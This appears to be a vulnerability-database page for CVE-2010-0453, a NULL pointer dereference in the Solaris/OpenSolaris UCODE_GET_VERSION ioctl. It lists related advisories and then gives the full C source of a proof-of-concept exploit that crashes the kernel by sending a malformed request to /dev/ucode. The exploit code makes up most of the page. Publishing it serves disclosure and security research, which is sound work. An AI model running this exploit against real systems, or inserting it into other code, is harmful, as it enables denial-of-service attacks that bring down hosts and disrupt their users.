| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Solaris/Open Solaris UCODE_GET_VERSION IOCTL Denial of Service | 7 Feb 201000:00 | – | zdt | |
| CVE-2010-0453 | 3 Feb 201018:00 | – | cve | |
| CVE-2010-0453 | 3 Feb 201018:00 | – | cvelist | |
| Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service | 7 Feb 201000:00 | – | exploitdb | |
| EUVD-2010-0484 | 7 Oct 202500:30 | – | euvd | |
| SolarisOpen Solaris UCODE_GET_VERSION IOCTL - Denial of Service | 7 Feb 201000:00 | – | exploitpack | |
| CVE-2010-0453 | 3 Feb 201018:30 | – | nvd | |
| Oracle Critical Patch Update Advisory - April 2010 | 13 Apr 201000:00 | – | oracle | |
| Security | Oracle Critical Patch Update - April 2010 | 13 Apr 201000:00 | – | oracle | |
| Null pointer dereference | 3 Feb 201018:30 | – | prion |
/*
* cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
* ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
*
* http://www.trapkit.de/advisories/TKADV2010-001.txt
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
*
* Greets to Tobias Klein for discovering the vulnerability and for his
* detailed (as always) advisory.
*
* $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUF_SIZE 64
#define UCODE_DEV "/dev/ucode"
#define UCODE_IOC (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION (UCODE_IOC | 0)
typedef enum ucode_errno
{
EM_OK,
EM_FILESIZE,
EM_OPENFILE,
EM_FILEFORMAT,
EM_HEADER,
EM_CHECKSUM,
EM_INVALIDARG,
EM_NOMATCH,
EM_HIGHERREV,
EM_NOTSUP,
EM_UPDATE,
EM_SYS,
EM_NOVENDOR,
EM_NOMEM
} ucode_errno_t;
struct ucode_get_rev_struct
{
uint32_t *ugv_rev;
int ugv_size;
ucode_errno_t ugv_errno;
};
int
main()
{
int fd, ret;
uint32_t buf[BUF_SIZE];
struct ucode_get_rev_struct in_h;
memset(buf, 0x41, BUF_SIZE);
in_h.ugv_rev = buf;
in_h.ugv_size = 0;
fd = open(UCODE_DEV, O_RDONLY);
ret = ioctl(fd, UCODE_GET_VERSION, &in_h);
printf("[+] ret = %d\n", ret);
printf("[+] ugv_errno = %d\n", in_h.ugv_errno);
close(fd);
return ret;
}
/* EOF */
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation